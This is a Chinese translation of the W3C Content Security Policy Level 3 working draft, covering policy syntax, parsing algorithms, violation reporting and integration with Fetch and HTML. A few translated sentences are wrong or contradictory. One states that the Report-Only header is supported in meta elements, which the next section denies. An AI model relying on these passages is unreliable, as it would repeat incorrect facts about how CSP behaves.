内容安全策略第 3 级

W3C 工作草案

关于此文档的更多详细信息
此版本:
https://www.w3.org/TR/2025/WD-CSP3-20250602/
最新发布版本:
https://www.w3.org/TR/CSP3/
编辑草案:
https://w3c.github.io/webappsec-csp/
之前版本:
历史:
https://www.w3.org/standards/history/CSP3/
反馈:
public-webappsec@w3.org 主题行包含“[CSP3] … 消息主题 …” (存档)
Github
编辑:
(谷歌公司)
(谷歌公司)
参与:
提交问题 (待解决问题)
测试:
web-platform-tests content-security-policy/ (进行中的工作)

摘要

本文件定义了一种机制,允许网页开发人员控制某个页面可以获取或执行的资源,以及若干安全相关的策略决策。

本文档状态

本节描述了本文档在发布时的状态。W3C 当前发布的所有文档及此技术报告的最新版本可在 W3C 技术报告索引 https://www.w3.org/TR/ 找到。

本文档由Web 应用安全工作组 作为工作草案发布,采用 推荐路径。该文档预计将成为 W3C 推荐标准。

(存档) 的公共邮件列表 public-webappsec@w3.org (参见 说明) 是讨论此规范的首选方式。 发送电子邮件时, 请在主题中包含“CSP3”字样, 最好如下所示: “[CSP3] …评论摘要…

发布工作草案并不意味着得到了 W3C 及其成员的支持。该文档是草案,可能会随时更新、替换或废止。作为非最终定稿引用此文档是不合适的。

本文档由 Web 应用安全工作组 制作。

本文档由依照 W3C 专利政策 运营的工作组制作。 W3C 维护了一个 任何与该组交付成果相关的专利披露公共列表; 该页面还包括披露专利的说明。 如果个人知道专利,并认为其包含必要声明, 则必须根据 W3C 专利政策第6节 进行披露。

本文档受 2023年11月3日 W3C 过程文档 管辖。

以下功能有风险,可能会在CR期间被删除:

“有风险”是 W3C 过程中的专业术语,并不一定意味着该功能有被删除或延迟的危险。这意味着工作组认为该功能在及时实现时可能存在互操作性问题, 标记为“有风险”允许工作组在转向提议推荐阶段时必要时删除该功能,而无需先发布不包含该功能的新候选推荐。

1. 简介

本节并非规范性内容。

本文档定义了内容安全策略 (CSP),开发者可以使用它以多种方式锁定他们的应用程序,从而减轻诸如跨站脚本等内容注入漏洞的风险,并降低其应用程序的执行权限。

CSP 并非针对内容注入漏洞的第一道防线。相反,CSP 最好用作深度防御。它可以减少恶意注入可能造成的危害,但不能代替谨慎的输入验证和输出编码。

本文档是内容安全策略第 2 级的迭代,旨在更清楚地解释 CSP、HTML 和 Fetch 之间的交互,同时提供清晰的模块化扩展钩子。理想情况下,这将形成一个稳定的核心,我们可以在此基础上构建新功能。

1.1. 示例

1.1.1. 控制执行

MegaCorp Inc 的开发者希望保护自己免受跨站脚本攻击。他们可以通过确保只有受信任的 CDN 是脚本加载和执行的唯一来源,从而减轻脚本注入的风险。此外,他们希望确保没有插件可以在其页面上下文中执行。以下策略实现了这一效果:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. 目标

内容安全策略旨在完成一些相关的任务:

  1. 通过为开发者提供较为精细的控制来降低内容注入攻击的风险,包括:

    • 可以为特定的 DocumentWorker 请求(并随后嵌入或执行)的资源

    • 内联脚本的执行

    • 动态代码执行(通过 eval() 和类似构造)

    • 内联样式的应用

  2. 通过提供精细的控制来减少嵌入恶意上下文(如“像素完美”攻击所述)的风险。

  3. 提供一个策略框架,使开发者能够减少其应用程序的权限。

  4. 提供一种报告机制,允许开发者检测到在实际环境中被利用的漏洞。

1.3. 与第 2 级的变化

本文档描述了内容安全策略第 2 级规范的演进版本[CSP2]。以下是变化的概述:

  1. 该规范从头开始根据 [FETCH] 规范重写,这使得更容易将 CSP 的要求和限制与其他规范(尤其是与 Service Workers)集成。

  2. child-src 模型已经进行了重大修改:

    1. frame-src 指令在 CSP 第 2 级中被弃用,但现在已取消弃用,且若不存在时仍会退化为 child-src(它又会退化为 default-src)。

    2. 添加了 worker-src 指令,若不存在则退化为 child-src(同样最终退化为 script-src,再退化为 default-src)。

  3. URL 匹配算法现在将不安全的方案和端口视为与其安全变体相匹配。也就是说,源表达式 http://example.com:80 将同时匹配 http://example.com:80https://example.com:443

    同样,'self' 现在会匹配页面起源的 https:wss: 变体,即使页面的方案为 http

  4. 从内联脚本或样式生成的违规报告现在会将“inline”作为被阻止的资源。同样,被阻止的 eval() 执行将报告为“eval”。

  5. 添加了 manifest-src 指令。

  6. report-uri 指令被弃用,改为使用新的 report-to 指令,它依赖于[REPORTING] 作为基础设施。

  7. 'strict-dynamic' 源表达式现在允许在页面上执行的脚本通过非 “解析器插入”script 元素加载更多脚本。详情参见 § 8.2 关于 "'strict-dynamic'" 的使用

  8. 'unsafe-hashes' 源表达式现在允许事件处理程序、样式属性和 javascript: 导航目标匹配哈希。详情参见 § 8.3 关于 "'unsafe-hashes'" 的使用

  9. 源表达式 的匹配已更改为要求明确存在任何非 HTTP(S) 方案,而非本地方案,除非该非 HTTP(S) 方案 与受保护资源的方案相同,如在 § 6.7.2.8 URL 与原点中的表达式和重定向计数匹配 中所述。

  10. 哈希源表达式现在可能匹配外部脚本,前提是触发请求的 script 元素指定了一组列在当前策略中的完整性元数据。详情见 § 8.4 通过哈希允许外部 JavaScript

  11. 针对内联违规生成的报告将包含 示例 属性(如果相关指令包含 'report-sample' 表达式)。

2. 框架

2.1. 基础设施

本文档使用 ABNF 语法定义句法,参见[RFC5234]。此外还依赖于 [RFC9110]第 5.6.1 节中定义的 #rule ABNF 扩展,修改内容是将 OWS 替换为 可选 ASCII 空白符。即,本文档中使用的 #rule 定义如下:

1#element => element *( 可选 ASCII 空白符 "," 可选 ASCII 空白符 element )

对于 n >= 1 和 m > 1:

<n>#<m>element => element <n-1>*<m-1>( 可选 ASCII 空白符 "," 可选 ASCII 空白符 element )

本文档依赖于 Infra 标准提供的多个用于算法和书写的基础概念 [INFRA]

以下定义用于提高本文档中其他定义的可读性。

可选 ASCII 空白符 = *( %x09 / %x0A / %x0C / %x0D / %x20 )
必需 ASCII 空白符 = 1*( %x09 / %x0A / %x0C / %x0D / %x20 )
; 这些生成规则符合 ASCII 空白符 的定义,出自 INFRA 标准。

2.2. 策略

一个 策略 定义了允许和限制的行为,可以应用于 DocumentWorkerGlobalScopeWorkletGlobalScope

每个策略都有一个关联的 指令集,它是一个 有序集合,包含的 指令定义了应用策略时的具体效果。

每个策略都有一个关联的 属性,其值为 "enforce" 或 "report"。

每个策略都有一个关联的 来源,其值为 "header" 或 "meta"。

每个策略都有一个关联的 self-origin,用于在匹配 'self' 关键字时表示一个 来源

注意: 这是为了方便对从父级继承策略的 本地方案 文档/工作者进行 'self' 检查。大多数情况下,这将是 环境设置对象来源

多个 策略 可以应用于单个资源,集合在一起形成一个 列表,被称为 CSP 列表

一个 CSP 列表 包含一个 header 提供的内容安全策略,如果它 包含了一个 策略,其 来源为 "header"。

一个 序列化 CSP 是一个 ASCII 字符串,由分号分隔的一系列 序列化指令 组成,符合以下 ABNF 语法 [RFC5234]

serialized-policy =
    serialized-directive *( 可选 ASCII 空白符 ";" [ 可选 ASCII 空白符 serialized-directive ] )

一个序列化的 CSP 列表是一个ASCII 字符串,由逗号分隔的一系列序列化的 CSP组成,遵循以下 ABNF 语法 [RFC5234]

serialized-policy-list = 1#serialized-policy
                    ; '#' 规则是在 RFC 9110 第 5.6.1 节中定义的规则
                    ; 但它包含了本文档第 2.1 节中指定的修改。

2.2.1. 解析序列化的 CSP

为了 解析序列化的 CSP,给定一个 字节序列字符串 serialized,一个 来源 source,以及一个 属性 disposition,执行以下步骤。

此算法返回一个 内容安全策略对象。如果 serialized 无法解析,则对象的 指令集将为空。

  1. 如果 serialized 是一个 字节序列,则将 serialized 设置为通过 同构解码后的 serialized

  2. policy 为一个新的 策略,其具有一个空的 指令集来源source属性disposition

  3. 对于每个 通过 严格分割 serialized 的 U+003B 分号字符(;)返回的 token

    1. 移除 token 的前后 ASCII 空白符。

    2. 如果 token 是空字符串,或者 token 不是 ASCII 字符串,则 继续

    3. directive name 为从 token收集ASCII 空白字符的代码点序列的结果。

    4. directive name 设置为对 directive name 执行 ASCII 小写转换 的结果。

      注意: 指令名称是大小写不敏感的,例如:script-SRC 'none'ScRiPt-sRc 'none' 是等价的。

    5. 如果 policy指令集 中包含名称为 directive name指令,则 继续

      注意: 在这种情况下,用户代理应该通知开发人员忽略了重复的指令。例如,可以在控制台中显示警告。

    6. directive value 为通过 以 ASCII 空白符分割 token 的结果。

    7. directive 为一个新的 指令,其 名称directive namedirective value

    8. directive 添加到 policy指令集 中。

  4. 返回 policy

2.2.2. 解析 response 的内容安全策略

为了 解析响应的内容安全策略,给定一个 响应 response,执行以下步骤。

此算法返回一个 列表,其中包含 内容安全策略对象。如果策略无法解析,则返回的列表将为空。

  1. policies 为一个空的 列表

  2. 对于每个 通过 提取响应头列表值获得的 token,其头为 Content-Security-Policy,来自 response头列表

    1. policy解析 token 的结果,其来源为 "header",且处置方式为 "enforce"。

    2. 如果 policy指令集不为空,则将 policy 追加到 policies

  3. 对于每个 通过 提取响应头列表值获得的 token,其头为 Content-Security-Policy-Report-Only,来自 response头列表

    1. policy解析 token 的结果,其来源为 "header",且处置方式为 "report"。

    2. 如果 policy指令集不为空,则将 policy 追加到 policies

  4. 对于每个 policies 中的 policy

    1. policyself-origin 设置为 responseurl来源

  5. 返回 policies

注意:解析响应的内容安全策略 时,如果得到的 policies 最终包含至少一项,用户代理可以在 policies 上持有一个标志,并使用该标志来优化 包含头部传递的内容安全策略 算法。

2.3. 指令

每个 策略 包含一个 有序集合指令(其 指令集),每个指令控制特定的行为。本文件中定义的指令在 § 6 内容安全策略指令 中有详细描述。

每个 指令 是一个 名称 / 对。名称 是一个非空的 字符串,而 是一个非空 字符串集合 可以是 空的

序列化的指令 是一个 ASCII 字符串,由一个或多个空格分隔的标记组成,并遵循以下 ABNF 规范 [RFC5234]

serialized-directive = directive-name [ required-ascii-whitespace directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) )
                        ; 指令值可以包含空白字符和 VCHAR 字符,
                        ; 不包括 ";" 和 ","。上面定义的后半部分
                        ; 表示所有 VCHAR 字符 (%x21-%x7E)
                        ; 不包括 ";" 和 "," (分别为 %x3B 和 %x2C)

; ALPHADIGITVCHAR 在 RFC 5234 的附录 B.1 中定义。

指令 有多个相关的算法:

  1. 请求前检查,其参数是一个 请求 和一个 策略,并在 § 4.1.2 内容安全策略是否应阻止请求? 中执行。除非另有说明,否则此算法返回 "Allowed"。

  2. 请求后检查,其参数是一个 请求、一个 响应,以及一个 策略,并在 § 4.1.3 内容安全策略是否应阻止响应请求? 中执行。除非另有说明,否则此算法返回 "Allowed"。

  3. 内联检查,其参数是一个 元素、一个类型字符串、一个 策略 以及一个源字符串,并在 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为?§ 4.2.4 内容安全策略是否应阻止导航请求类型?javascript: 请求执行。除非另有说明,否则此算法返回 "Allowed"。

  4. 初始化,其参数是一个 文档全局对象 以及一个 策略。此算法在 § 4.2.1 为文档运行 CSP 初始化§ 4.2.6 为全局对象运行 CSP 初始化 中执行。除非另有说明,否则它没有影响并返回 "Allowed"。

  5. 导航前检查,其参数是一个 请求、一个导航类型字符串("form-submission" 或 "other"),以及一个 策略,并在 § 4.2.4 内容安全策略是否应阻止导航请求类型? 中执行。除非另有说明,否则它返回 "Allowed"。

  6. 导航响应检查,其参数是一个 请求、一个导航类型字符串("form-submission" 或 "other"),一个 响应、一个 导航目标、一个检查类型字符串("source" 或 "response"),以及一个 策略,并在 § 4.2.5 内容安全策略是否应阻止对导航请求类型的导航响应? 中执行。除非另有说明,否则它返回 "Allowed"。

  7. WebRTC 预连接检查,其参数是一个 策略,并在 § 4.3.1 是否应阻止全局的 RTC 连接? 中执行。除非另有说明,否则它返回 "Allowed"。

2.3.1. 源列表

许多 指令源列表 组成:集合字符串,用于标识可以获取并可能嵌入或执行的内容。每个 字符串 表示以下类型的 源表达式 之一:

  1. 关键字,如 'none''self'(分别表示匹配无内容和匹配当前 URL 的来源)

  2. 序列化 URL,如 https://example.com/path/to/file.js(匹配特定文件)或 https://example.com/(匹配该来源上的所有内容)

  3. 协议,如 https:(匹配具有指定协议的任何资源)

  4. 主机,如 example.com(匹配该主机上的任何资源,无论协议如何)或 *.example.com(匹配该主机的所有子域(以及任何子域的子域,依此类推)上的任何资源)

  5. 随机数,如 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'(可以匹配页面上的特定元素)

  6. 摘要,如 'sha256-abcd...'(可以匹配页面上的特定元素)

一个序列化的源列表是一个ASCII 字符串,由以空格分隔的一系列源表达式组成,遵循以下 ABNF 语法 [RFC5234]

serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute (but not including ";" or ",")
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashes'"
                 / "'report-sample'" / "'unsafe-allow-redirects'"
                 / "'wasm-unsafe-eval'" / "'trusted-types-eval'"
                 / "'report-sha256'" / "'report-sha384'"
                 / "'report-sha512'"

ISSUE: Bikeshed unsafe-allow-redirects.

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

host-char 规则有意仅包含 ASCII 字符;国际化域名不能直接作为 序列化的 CSP 的一部分,而必须使用 Punycode 编码 [RFC3492]。例如,域名 üüüüüü.de 必须表示为 xn--tdaaaaaa.de

注意:虽然 IP 地址与上述语法匹配,但只有 127.0.0.1 实际上会在用作源表达式时匹配 URL(有关详细信息,请参阅 § 6.7.2.7 在来源和重定向计数中 URL 是否匹配源列表?)。IP 地址的安全特性存在问题,作者应尽量优先选择主机名。

注意:base64-value 语法允许 base64base64url 编码。这些编码在处理 hash-source 值时被视为等同。然而,随机数是严格的字符串匹配:我们使用 base64-value 语法来限制可用字符,并降低服务器端操作人员的复杂性(编码等),但用户代理实际上并不关心任何底层值,也不会对 nonce-source 值进行任何解码。

2.4. 违反

一个 违反 表示一项操作或资源违反了与某个 全局对象 关联的 策略 对象集合。

每个 违反 都有一个 全局对象,它是被违反策略的 全局对象

每个 违反 都有一个 URL,它是其 全局对象URL

每个 违反 都有一个 状态,它是一个非负整数,表示实例化全局对象的资源的 HTTP 状态码。

每个 违反 都有一个 资源,它可以是 null、"inline"、"eval"、"wasm-eval"、"trusted-types-policy"、"trusted-types-sink" 或 URL。它表示违反策略的资源。

注意: 违反资源 的值为 null 仅在违反被填充时允许。在 违反 被报告并使用其 资源 获取被阻止的 URI 时,违反资源 应填充为 URL 或允许的字符串之一。

每个 违反 都有一个 引用者,它可以是 null 或 URL。它表示被违反策略的资源的引用者。

每个 违反 都有一个 策略,它是被违反的 策略

每个 违反 都有一个 处置,它是被违反的 策略处置

每个 违反 都有一个 有效指令,它是一个非空字符串,表示导致违反的 指令

每个 违反 都有一个 源文件,它可以是 null 或 URL

每个 违反 都有一个 行号,它是一个非负整数。

每个 违反 都有一个 列号,它是一个非负整数。

每个 违反 都有一个 元素,它可以是 null 或一个元素。

每个 违反 都有一个 示例,它是一个字符串。除非另有规定,它默认为空字符串。

注意: 违反示例 将包含导致违反的内联脚本、事件处理程序或样式的前 40 个字符。从外部文件引发的违反将不会在违反报告中包含示例。

2.4.1. globalpolicydirective 创建违反对象

给定一个 全局对象 global,一个 策略 policy,以及一个 字符串 directive,以下算法创建一个新的 违反 对象,并用初始数据集进行填充:

  1. violation 成为一个新的 违反,其 全局对象global策略policy有效指令directive,并且 资源 为 null。

  2. 如果用户代理当前正在执行脚本,且可以从 global 提取源文件的 URL、行号和列号,则相应设置 violation源文件行号列号

    这种情况是否在其他地方有规范?我在 [ECMA262] 中没有看到类似内容。

    注意: 用户代理需要确保 源文件 是页面请求的 URL(重定向前的)。如果这不可能,用户代理需要将 URL 降级为一个源,避免非故意泄漏。

  3. 如果 global 是一个 Window 对象,则将 violationreferrer 设置为 globaldocumentreferrer

  4. 设置 violation状态 为与 violation全局对象 关联的资源的 HTTP 状态码。

    我们具体如何获取状态码?我们并没有实际将其存储在任何地方。

  5. 返回 violation

2.4.2. requestpolicy 创建违反对象

给定一个 请求 request,一个 策略 policy,以下算法创建一个新的 违反 对象,并用初始数据集进行填充:

  1. directive 成为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。

  2. violation 成为在 request客户端全局对象policydirective 上执行 § 2.4.1 为 global、policy 和 directive 创建违反对象 的结果。

  3. 设置 violation资源requestURL

    注意:我们使用 requestURL,而不是其 当前 URL,因为后者可能包含页面不应访问的重定向目标信息。

  4. 返回 violation

3. 策略传递

服务器可以通过 HTTP 响应头字段为特定的资源表示声明序列化 CSP,详细机制在 § 3.1 Content-Security-Policy HTTP 响应头字段§ 3.2 Content-Security-Policy-Report-Only HTTP 响应头字段中定义,与 Fetch 和 HTML 的集成描述在 § 4.1 Fetch 集成§ 4.2 HTML 集成中。

策略也可以通过 HTML 文档中的 meta 元素的 http-equiv 属性内联声明,如 § 3.3 <meta> 元素所述。

3.1. Content-Security-Policy HTTP 响应头字段

Content-Security-Policy HTTP 响应头字段是将策略从服务器传递到客户端的首选机制。该头字段的值由以下 ABNF 表示 [RFC5234]

Content-Security-Policy = 1#serialized-policy
                ; "#" 规则定义于 RFC 9110 的第 5.6.1 节,
                ; 并包括本文档第 2.1 节中的修改。
            
Content-Security-Policy: script-src 'self';
                     report-to csp-reporting-endpoint
                

服务器可以为同一资源的不同表示形式发送不同的 Content-Security-Policy 标头字段值。

当用户代理收到 Content-Security-Policy 标头字段时,它必须按照 § 4.1 与 Fetch 集成§ 4.2 与 HTML 集成中的描述,解析强制执行其中包含的每个序列化 CSP

3.2. Content-Security-Policy-Report-Only HTTP 响应头字段

Content-Security-Policy-Report-Only HTTP 响应头字段允许 Web 开发者通过监控(而不是执行)策略的效果来进行策略试验。该头字段的值由以下 ABNF 表示 [RFC5234]

Content-Security-Policy-Report-Only = 1#serialized-policy
                ; "#" 规则定义于 RFC 9110 的第 5.6.1 节,
                ; 并包括本文档第 2.1 节中的修改。
            

该头字段允许开发者以迭代的方式构建其安全策略,基于其对站点行为的最佳估计部署报告模式策略,观察违规报告,然后在对行为有足够信心后转变为强制策略。

Content-Security-Policy-Report-Only: script-src 'self';
                                         report-to csp-reporting-endpoint
                

服务器可以为同一资源的不同表示形式发送不同的 Content-Security-Policy-Report-Only 标头字段值。

当用户代理收到 Content-Security-Policy-Report-Only 标头字段时,它必须按照 § 4.1 与 Fetch 集成§ 4.2 与 HTML 集成中的描述,解析监控其中包含的每个序列化 CSP

注意: Content-Security-Policy-Report-Only 头字段支持在 meta 元素中。

3.3. <meta> 元素

文档可以通过一个或多个 HTML meta 元素传递策略,其 http-equiv 属性为与字符串 "Content-Security-Policy" 不区分大小写的匹配。例如:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
                

实现细节可见 HTML 的 内容安全策略状态 http-equiv 处理说明 [HTML]

注意: Content-Security-Policy-Report-Only 头字段不支持在 meta 元素中。同样,report-uriframe-ancestorssandbox 指令也不支持。

强烈建议作者尽量将 meta 元素尽早放在文档中,因为 meta 元素中的策略不适用于在其之前的内容。特别要注意,使用 Link HTTP 响应头字段预取的资源以及通过 linkscript 元素预取的资源不会被 meta 传递的策略阻止。

注意:通过 meta 元素指定的策略将与保护资源的任何其他活动策略一同执行,无论它们在哪里指定。执行多个策略的一般影响在 § 8.1 多个策略的影响 中进行了描述。

注意: content 属性的修改将在 meta 元素被解析后忽略。

4. 集成

本节为非规范性内容。

本文档定义了一组用于在其他规范中实现功能的算法。这些集成在这里概述以便于理解,但这些外部文档才是应当查阅的规范参考,以获取详细信息。

4.1. 与 Fetch 的集成

许多指令以某种方式控制资源加载。本规范提供了允许 Fetch 决定某个 请求是否应被阻止或允许的算法,以及关于某个 响应是否应被替换为 网络错误的决策。

  1. § 4.1.2 内容安全策略是否应阻止请求? 是在 主 Fetch 算法的步骤 2.4 中调用的。这允许指令的 请求前检查 对每个请求在进入网络之前执行,也对请求在到达资源的过程中可能经过的每次重定向进行检查。

  2. § 4.1.3 内容安全策略是否应阻止请求的响应? 是在 主 Fetch 算法的步骤 11 中调用的。这允许指令的 请求后检查 对来自网络或服务工作者的响应执行。

4.1.1. 报告 request 的内容安全策略违规

给定一个 request request,该算法基于 策略容器CSP 列表 中“仅报告”的策略来报告违规行为。

  1. CSP listrequest策略容器CSP 列表

  2. 对每个 policy 取自 CSP list

    1. 如果 policy处置 为 "enforce",则跳到下一个 policy

    2. violates 为执行 § 6.7.2.1 请求是否违反策略?requestpolicy 的结果。

    3. 如果 violates 不是 "不违反",则执行 § 5.5 报告违规,参数为执行 § 2.4.2 为请求和策略创建违规对象 的结果,对 requestpolicy

4.1.2. 请求 request 是否应被内容安全策略阻止?

给定一个 request request,该算法返回 BlockedAllowed,并基于 request策略容器CSP 列表 来报告违规行为。

  1. CSP listrequest策略容器CSP 列表

  2. result 为 "Allowed"。

  3. 对每个 policy 取自 CSP list

    1. 如果 policy处置 为 "report",则跳到下一个 policy

    2. violates 为执行 § 6.7.2.1 请求是否违反策略?requestpolicy 的结果。

    3. 如果 violates 不是 "不违反",则:

      1. 执行 § 5.5 报告违规,参数为执行 § 2.4.2 为请求和策略创建违规对象 的结果,对 requestpolicy

      2. result 设置为 "Blocked"。

  4. 返回 result

4.1.3. 响应 responserequest 是否应被内容安全策略阻止?

给定一个 response response 和一个 request request,该算法返回 BlockedAllowed,并基于 request策略容器CSP 列表 来报告违规行为。

  1. CSP listrequest策略容器CSP 列表

  2. result 为 "Allowed"。

  3. 对每个 policy 取自 CSP list

    1. 对每个 directive 取自 policy

      1. 如果执行 directive请求后检查 的结果为 "Blocked",则:

        1. 执行 § 5.5 报告违规,参数为执行 § 2.4.2 为请求和策略创建违规对象 的结果,对 requestpolicy

        2. 如果 policy处置 为 "enforce",则将 result 设置为 "Blocked"。

    注意:检查的这一部分验证页面是否可以加载响应,即确保服务工作线程没有替换违反页面 CSP 的文件。

  4. 返回 result

4.1.4. 可能报告哈希值

给定一个响应 response,一个请求 request,一个指令 directive 和一个内容安全策略对象 policy, 执行以下步骤:

  1. algorithm 为空字符串

  2. 如果 directive包含表达式 "'report-sha256'",则将 algorithm 设置为 "sha256"。

  3. 如果 directive包含表达式 "'report-sha384'",则将 algorithm 设置为 "sha384"。

  4. 如果 directive包含表达式 "'report-sha512'",则将 algorithm 设置为 "sha512"。

  5. 如果 algorithm 为空字符串,则返回。

  6. hash 为空字符串

  7. 如果 responseCORS 同源,则:

    1. h 为在 response主体algorithm将算法应用于字节的结果。

    2. hashalgorithm、U+2D (-) 和 h串联

  8. globalrequest客户端全局对象

  9. 如果 global 不是 Window, 则返回。

  10. stripped document URL 为在 global文档URL 上执行§ 5.4 为在报告中使用而剥离 URL的结果。

  11. 如果 policy指令集不包含名为 "report-to" 的指令,则返回。

  12. report-to directivepolicy指令集中名为 "report-to" 的指令

  13. body 为一个csp 哈希报告主体,其documentURLstripped document URL,其subresourceURLrequest 的 URL,其hashhash,其destinationrequest目标,其type 为 "subresource"。

  14. 生成并排队报告,使用以下参数:

    context

    settings object

    type

    "csp-hash"

    destination

    report-to directive

    data

    body

4.2. 与 HTML 的集成

  1. 策略容器有一个 CSP 列表,其中包含对给定上下文有效的所有策略对象。 除非另有说明,否则此列表为空,并通过解析响应的 内容安全策略或根据策略容器的规则继承来填充。

  2. 全局对象CSP 列表是使用全局对象作为 object 执行§ 4.2.2 检索对象的 CSP 列表的结果。

  3. 通过将策略插入全局对象CSP 列表,可以为全局对象强制执行监控该策略。

  4. 创建并初始化新的 Document 对象算法期间调用§ 4.2.1 运行文档的 CSP 初始化

  5. 准备脚本元素更新 style算法期间调用§ 4.2.3 是否应通过内容安全策略阻止元素的内联类型行为?,以确定是否允许执行/呈现内联脚本或样式块。

  6. 在处理内联事件处理程序(如 onclick)和内联 style 属性期间调用§ 4.2.3 是否应通过内容安全策略阻止元素的内联类型行为?,以确定是否应允许它们执行/呈现。

  7. 在处理 meta 元素的 http-equiv 期间强制执行策略

  8. HTML 使用负责资源加载的元素中的相关数据填充每个请求加密随机数元数据解析器元数据

    样式表加载尚未与 WHATWG HTML 中的 Fetch 集成。[whatwg/html 问题 #968]

  9. base 元素的设置冻结基本 URL算法期间调用§ 6.3.1.1 是否允许文档使用 base?,以确保 href 属性的值有效。

  10. 通过获取创建导航参数算法期间调用§ 4.2.4 是否应通过内容安全策略阻止类型的导航请求?,并在尝试填充历史记录条目的文档算法期间调用§ 4.2.5 是否应通过内容安全策略阻止目标中类型的导航请求的导航响应?,以应用指令的导航检查以及对导航到 javascript: URL 的内联检查。

  11. 运行工作线程算法期间调用§ 4.2.6 运行全局对象的 CSP 初始化

  12. sandbox 指令用于填充CSP 派生的沙盒标志

4.2.1. 运行 CSP 初始化用于 Document

给定一个 Document document,用户代理按以下步骤初始化 document 的 CSP:

  1. 遍历 document策略容器CSP 列表 中的每个 policy

    1. 遍历 policy 中的每个 directive

      1. document 上执行 directive初始化 算法,并断言:返回值为 "Allowed"。

4.2.2. 获取 CSP 列表 对于 object

为了获取 objectCSP 列表

  1. 如果 object 是一个 Document, 则返回 object策略容器CSP 列表

  2. 如果 object 是一个 Window 或一个 WorkerGlobalScope 或一个 WorkletGlobalScope, 则返回环境设置对象策略容器CSP 列表

  3. 返回 null。

4.2.3. 元素 element 的内联 type 行为是否应被内容安全策略阻止?

给定一个 Element element、一个字符串 type 和一个字符串 source,此算法返回 "Allowed" 如果该元素被允许内联定义某种特定类型的行为(脚本执行、样式应用、事件处理等),否则返回 "Blocked":

注意: type 的有效值包括 "script"、"script attribute"、"style" 和 "style attribute"。

  1. 断言:element 不为 null。

  2. result 为 "Allowed"。

  3. 对于 elementDocument全局对象CSP 列表中的每个 policy

    1. 对于 policy指令集中的每个 directive

      1. 如果 directive内联检查在对 elementtypepolicysource 执行时返回 "Allowed", 则跳到下一个 directive

      2. directive-name 为在 type 上执行§ 6.8.2 获取内联检查的有效指令的结果。

      3. 否则,令 violation 为在当前设置对象全局对象policydirective-name 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

      4. violation资源设置为 "inline"。

      5. violation元素设置为 element

      6. 如果 directive包含表达式 "'report-sample'", 则将 violation样本设置为 source 中包含其前 40 个字符的子字符串。

      7. violation 上执行§ 5.5 报告违规

      8. 如果 policy处置方式为 "enforce",则 将 result 设置为 "Blocked"。

  4. 返回 result

4.2.4. 类型为 type导航请求 是否应被内容安全策略阻止?

给定一个请求 navigation request 和一个字符串 type(“form-submission”或“other”),如果活动策略阻止导航,则此算法返回“Blocked”,否则返回“Allowed”:

  1. result 为 "Allowed"。

  2. 遍历 导航请求策略容器CSP 列表中的每个 policy

    1. 遍历 policy 中的每个 directive

      1. 如果在 导航请求typepolicy 上执行 directive预导航检查 返回 "Allowed",跳到下一个 directive

      2. 否则,令 violation 为在 导航请求客户端全局对象policydirective名称 上执行 § 2.4.1 创建全局、策略和指令的违规对象 的结果。

      3. violation资源 设置为 导航请求URL

      4. 执行 § 5.5 报告违规violation

      5. 如果 policy处置 为 "enforce",则将 result 设置为 "Blocked"。

  3. 如果 result 为 "Allowed",并且 导航请求当前 URL方案javascript

    1. 对于 navigation request策略容器CSP 列表中的每个 policy

      1. 对于 policy 中的每个 directive

        1. directive-name 为在 "navigation" 上执行§ 6.8.2 获取内联检查的有效指令的结果。

        2. 如果 directive内联检查在对 null、“navigation”和 navigation request当前 URL 执行时返回“Allowed”,则跳到下一个 directive

        3. 否则,令 violation 为在 navigation request客户端全局对象policydirective-name 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

        4. violation资源设置为 "inline"。

        5. violation 上执行§ 5.5 报告违规

        6. 如果 policy处置方式为 "enforce",则 将 result 设置为 "Blocked"。

  4. 返回 result

4.2.5. 是否应内容安全策略阻止 targetnavigation requesttype 导航响应 navigation response

给定一个请求 navigation request,一个响应 navigation response,一个CSP 列表 response CSP list,一个字符串 type(“form-submission”或“other”),以及一个可导航对象 target,如果活动策略阻止导航,则此算法返回“Blocked”,否则返回“Allowed”:

  1. result 为 "Allowed"。

  2. 对于 response CSP list 中的每个 policy

    注意:某些指令(如 frame-ancestors)允许响应内容安全策略作用于导航。

    1. 对于 policy 中的每个 directive

      1. 如果 directive导航响应检查在对 navigation requesttypenavigation responsetarget、“response”和 policy 执行时返回“Allowed”,则跳到下一个 directive

      2. 否则,令 violation 为在 null、policydirective名称上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。

        注意:我们对全局对象使用 null,因为不存在全局对象: 我们尚未处理导航以创建文档。

      3. violation资源设置为 navigation responseURL

      4. violation 上执行§ 5.5 报告违规

      5. 如果 policy处置方式为 "enforce",则 将 result 设置为 "Blocked"。

  3. 对于 navigation request策略容器CSP 列表中的每个 policy

    注意:navigation request 上下文中的某些指令(如 frame-ancestors) 需要在对导航采取行动之前获取响应

    1. 对于 policy 中的每个 directive

